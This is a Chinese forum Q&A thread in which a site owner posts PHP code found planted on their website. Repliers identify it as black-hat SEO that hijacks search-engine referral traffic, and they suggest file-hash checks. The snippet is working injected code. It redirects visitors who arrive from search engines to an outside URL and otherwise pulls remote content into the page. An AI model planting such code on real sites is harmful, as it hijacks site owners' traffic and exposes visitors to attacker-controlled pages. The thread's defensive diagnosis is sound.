日期:2014-05-17  浏览次数:20507 次

请问这段代码是做什么用的?
PHP code


<?php
error_reporting(0);
header("content-Type: text/html; charset=gb2312");
function isSpider($v)
{
        $spiders=array("baidu.com/","google.com","so");
        $i=0;
        foreach ($spiders as $i => $value) {
            if(stristr($v,$spiders[$i])){return true;}
        }
        return false;
}
    if(isSpider($_SERVER['HTTP_REFERER']))
    {
    Header("Location: ".'http://park.jeanswest.com.cn/news/cache/url/php/zx.php?wanma='.$_SERVER['SERVER_NAME']);
        exit;
    }
echo file_get_contents('http://zhanyou.xilu.com/data/temp/baidu/zx/zx.php');
?>



这是被挂在网站上的。

------解决方案--------------------
判断是否是从baidu.com/","google.com","so" 三个页面进来的。如果是则跳转........,否则执行下面的file_get_contents();
------解决方案--------------------
当前黑帽SEO优化手法,劫持了你百度和谷歌来路的流量。
------解决方案--------------------
被黑了吧。。

做一个功能
来个md5_file文件检查记录。
下次再md5_file对比判断。